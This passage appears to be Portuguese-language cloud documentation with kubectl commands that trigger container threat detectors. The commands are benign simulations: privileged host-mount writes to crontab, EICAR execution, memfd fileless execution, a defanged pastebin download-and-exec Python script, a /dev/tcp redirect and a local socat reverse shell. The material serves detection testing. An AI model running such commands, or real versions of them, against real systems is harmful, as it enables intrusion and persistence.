gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Instale um arquivo de certificado no host de um contêiner.
Nó x86:
tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
Nó ARM:
tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Este procedimento de teste aciona uma descoberta de certificado raiz instalado que você pode ver no Security Command Center e, se tiver configurado o Logging para o Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Execução: binário malicioso adicionado executado
Para acionar uma descoberta de execução: binário malicioso adicionado executado, solte um binário malicioso no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, cria um arquivo malicioso simulado e o executa. A execução do binário é inesperada porque o binário simulado não fazia parte da imagem do contêiner original, e o binário é um arquivo de teste EICAR, classificado como malicioso pela inteligência de ameaças.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte o binário EICAR e execute-o:
Nó x86:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Nó ARM:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Este procedimento de teste criará uma descoberta de Execução: binário malicioso adicionado executado que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas de execução: binário malicioso adicionado executado. Para ver todas as descobertas de execução: binário malicioso adicionado executado enquanto um contêiner está sendo configurado, insira o prefixo ktd-test
no nome do contêiner ou do pod, como no exemplo.
Execução: escape de contêiner
Para acionar uma descoberta de execução: escape do contêiner, coloque um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04,
copia /bin/ls
para outro local, renomeia para uma ferramenta suspeita
(botb-linux-amd64
) e executa com argumentos adicionais. Essa ação é considerada suspeita porque simula um comportamento consistente com uma tentativa de fuga de contêiner.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte um binário de ferramenta de exploração de contêiner, como
botb-linux-amd64
, e execute-o:Nó x86:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
Nó ARM:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
Este procedimento de teste criará uma descoberta de execução: escape de contêiner que pode ser vista no Security Command Center e no Cloud Logging se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: execução sem arquivo em /memfd:
Para acionar uma descoberta de Execution: Fileless Execution in /memfd:
,
um processo precisa ser executado no sistema de arquivos na memória /memfd:
.
Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls
é
copiado para um arquivo anônimo em /memfd:
. Em seguida, esse binário copiado é executado.
A execução de um binário em /memfd:
é sinalizada como suspeita porque
imita o comportamento de um objeto que tenta ser executado na memória para evitar detecções
baseadas em arquivos.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Crie um contêiner com privilégios e abra o bash para executar comandos:
Nó x86:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:latest \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"
Nó ARM:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"
Este procedimento de teste vai criar uma descoberta de Execution: Fileless Execution in /memfd:
que pode ser visualizada no Security Command Center e
no Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: vulnerabilidade Nightmare do Ingress
Para acionar uma descoberta de execução: execução de vulnerabilidade de pesadelo de entrada (prévia),
execute o binário nginx no seu contêiner. Este exemplo implanta a imagem mais recente do
Ubuntu 24.04, copia /bin/ls
para outro local, renomeia para um binário do Nginx (nginx
) e o executa com argumentos adicionais que fazem referência ao sistema de arquivos
/proc
. Essa ação é considerada suspeita porque simula um comportamento consistente com o exploit Ingress Nightmare (CVE-2025-1974), indicando uma possível execução remota de código.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Crie um binário do Nginx, como
nginx
, e execute-o ao acessar o sistema de arquivos/proc
:Nó x86:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
Nó ARM:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
Este procedimento de teste cria uma descoberta de execução: vulnerabilidade de Nightmare de entrada que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: execução da ferramenta de ataque do Kubernetes
Para acionar uma descoberta de execução: execução de ferramenta de ataque do Kubernetes, coloque um
binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu
24.04, copia /bin/ls
para outro local, renomeia para uma ferramenta suspeita (amicontained
) e a executa. Essa ação é considerada suspeita porque simula um comportamento consistente com uma possível tentativa de execução de uma ferramenta de ataque do Kubernetes.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte um binário de ferramenta de ataque do Kubernetes, como
amicontained
, e execute-o:Nó x86:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Nó ARM:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Este procedimento de teste criará uma descoberta de Execução: execução de ferramenta de ataque do Kubernetes que pode ser vista no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: execução da ferramenta de reconhecimento local
Para acionar uma descoberta de Execution: Local Reconnaissance Tool Execution
, coloque um
binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu
24.04, copia /bin/ls
para outro local, renomeia para uma ferramenta suspeita (linenum.sh
) e a executa. Essa ação é considerada suspeita porque a execução do binário renomeado simula um comportamento consistente com uma tentativa de reconhecimento local.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduza um binário da ferramenta de reconhecimento local, como
linenum.sh
, e execute-o:Nó x86:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Nó ARM:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Este procedimento de teste criará uma descoberta de execução: ferramenta de reconhecimento local que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: Python malicioso executado
Para acionar uma descoberta de execução: Python malicioso executado, execute o Python no procedimento a seguir no seu contêiner.
O procedimento implanta a imagem mais recente do Python, copia um código Python que parece malicioso e o executa. Para acionar uma detecção, o código Python precisa aparecer como malicioso para o detector.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute o script a seguir em um novo contêiner.
Esse código Python foi originado de um honeypot. No entanto, ele foi modificado para não executar o binário malicioso. A execução do script não causa atividade mal-intencionada no seu contêiner. O binário no URL referenciado não existe, e tentar acessar o URL resulta em um erro 404. Isso já é esperado. A tentativa de baixar, decodificar e executar um binário usando um script inline é o que aciona a detecção.
Nó x86:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Nó ARM:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Este procedimento de teste cria uma descoberta de execução: Python malicioso executado que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o registro em log para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: binário malicioso modificado executado
Para acionar uma descoberta de execução: binário malicioso modificado executado, modifique um
binário malicioso no contêiner e execute-o. Este exemplo implanta a
imagem mais recente do Ubuntu 24.04, modifica /bin/ls
para um arquivo
malicioso de teste EICAR e o executa. A execução do binário é
inesperada porque o /bin/ls
criado é modificado durante o tempo de execução do contêiner como
um binário malicioso de teste EICAR, e o binário EICAR é um arquivo malicioso conhecido
de acordo com a inteligência de ameaças.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Solte o binário EICAR e execute-o:
Nó x86:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Nó ARM:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Este procedimento de teste criará uma descoberta de execução: binário malicioso modificado executado que você pode ver no Security Command Center e no Cloud Logging se tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas de execução: binário malicioso modificado executado. Para ver todas as descobertas de Execução: binário malicioso modificado executado enquanto um contêiner está sendo configurado, insira o prefixo ktd-test
no nome do contêiner ou do pod, como no exemplo.
Execução: execução remota de código do Netcat no contêiner
Para acionar um evento Execution: Netcat Remote Code Execution In Container
, um
binário capaz de comunicação de rede (como o próprio netcat ou uma cópia renomeada
de outro utilitário) precisa estar presente e ser executado dentro do contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 24.04 como base. Ele copia o binário /bin/ls
e renomeia essa cópia como netcat
(um utilitário de rede). Esse binário renomeado é executado com argumentos adequados para interação de rede. Essa
atividade é sinalizada como suspeita porque imita o comportamento observado
durante tentativas reais de execução remota de código em ambientes em contêineres.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Introduza um binário de ferramenta de comunicação de rede, como
netcat
, e execute-o com os argumentos adequados:Nó x86:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
Nó ARM:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
Este procedimento de teste criará uma descoberta de Execution: Netcat Remote Code Execution In
Container
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: possível execução de comandos arbitrários pelo CUPS (CVE-2024-47177)
Para acionar uma descoberta de Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)
, é necessário que a execução de um processo de shell pelo foomatic-rip
ocorra.
Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/bash
para
/tmp/foomatic-rip
. Esse binário renomeado e copiado é executado como um script do shell para
criar um comando filho do shell. Esse comportamento é sinalizado como suspeito porque pode indicar uma tentativa de executar cargas de trabalho arbitrárias em sistemas comprometidos.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute o comando com os argumentos adequados:
Nó x86:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
Nó ARM:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
Este procedimento de teste cria uma descoberta Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)
que pode ser vista no Security Command Center e no Cloud Logging se
você tiver configurado o Logging para Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: possível execução de comando remota detectada
Para acionar uma descoberta de Execution: Possible Remote Command Execution Detected
(prévia), é necessário observar a execução de um comando ou binário comumente
associado à execução de comandos remotos em um contêiner.
Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls
e renomeia
para touch
(ou outra ferramenta como find
). Esse binário renomeado é então
executado com argumentos adequados para a execução de comandos remotos. Esse comportamento
é sinalizado como suspeito porque pode indicar uma tentativa de estabelecer
acesso remoto não autorizado ao ou do contêiner.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário como
touch
com os argumentos adequados:Nó x86:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
Nó ARM:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
Este procedimento de teste cria uma descoberta de Execution: Possible Remote Command
Execution Detected
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: execução do programa com o ambiente de proxy HTTP não permitido
Para acionar uma descoberta de Execution: Program Run with Disallowed HTTP Proxy Env
,
execute um programa em um contêiner, definindo uma variável de ambiente de proxy HTTP
com um valor não permitido. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário
/bin/ls
é copiado e renomeado como /tmp/curl
. Esse binário renomeado é
executado com um valor não permitido definido para uma variável de ambiente de proxy HTTP
(por exemplo, HTTP_PROXY
, http_proxy
). A combinação da execução do programa e da
presença de um ambiente de proxy HTTP não permitido é sinalizada como suspeita, já que
sugere uma tentativa de comunicação por um proxy não autorizado.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um binário com capacidade de rede, como
curl
, com uma variável de ambiente de proxy HTTP não permitida:Nó x86:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
Nó ARM:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
Este procedimento de teste criará uma descoberta de Execution: Program Run with Disallowed
HTTP Proxy Env
que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: shell reverso do Socat detectado
Para acionar uma descoberta de Execution: Socat Reverse Shell Detected
,
uma conexão de shell reverso de processo precisa ser estabelecida pelo utilitário socat
.
Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário socat
é
instalado, um listener tcp local é criado e vinculado pelo utilitário
socat. O shell reverso criado por socat
é sinalizado como suspeito porque
permite que um invasor execute cargas de trabalho arbitrárias no sistema.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Crie um contêiner e abra o bash para executar comandos:
Nó x86:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash
Nó ARM:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash
Instale o utilitário
socat
:apt update && apt install socat -y
Crie um listener usando
socat
(socat UNIX-LISTEN:/tmp/shell.sock STDOUT &)
Aguarde um pouco até que o listener se estabeleça. Isso leva menos de 10 segundos.
Faça a vinculação ao soquete Unix para estabelecer uma conexão de shell invertido.
socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
Isso pode retornar um erro, mas não há problema, desde que estabeleça uma conexão brevemente antes.
Este procedimento de teste vai criar uma descoberta de Execution: Socat Reverse Shell Detected
que pode ser visualizada no Security Command Center e
no Cloud Logging se você tiver configurado o Logging para
o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.
Execução: modificação suspeita do Cron (pré-lançamento)
Para acionar uma detecção de modificação suspeita do Cron, modifique o arquivo
/etc/crontab
do host em um contêiner. Este exemplo implanta a imagem mais recente do Ubuntu
24.04, ativando o sistema de arquivos raiz do host no contêiner. Em seguida, ele
atualiza o arquivo crontab.
Esse é um detector de monitoramento de arquivos e tem requisitos específicos de versão do GKE.
Use o Cloud Shell para acessar o plano de controle do cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Execute um comando para modificar o arquivo
/etc/crontab
do host.Nó x86:
tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
Nó ARM:
tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
Este procedimento de teste aciona uma descoberta de modificação suspeita do cron que pode ser vista no Security Command Center e, se você tiver configurado o Logging para Container Threat Detection, no Cloud Logging. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.
Execução: objeto compartilhado suspeito do OpenSSL carregado
Para acionar uma descoberta Execution: Suspicious OpenSSL Shared Object Loaded
,
execute o comando openssl engine
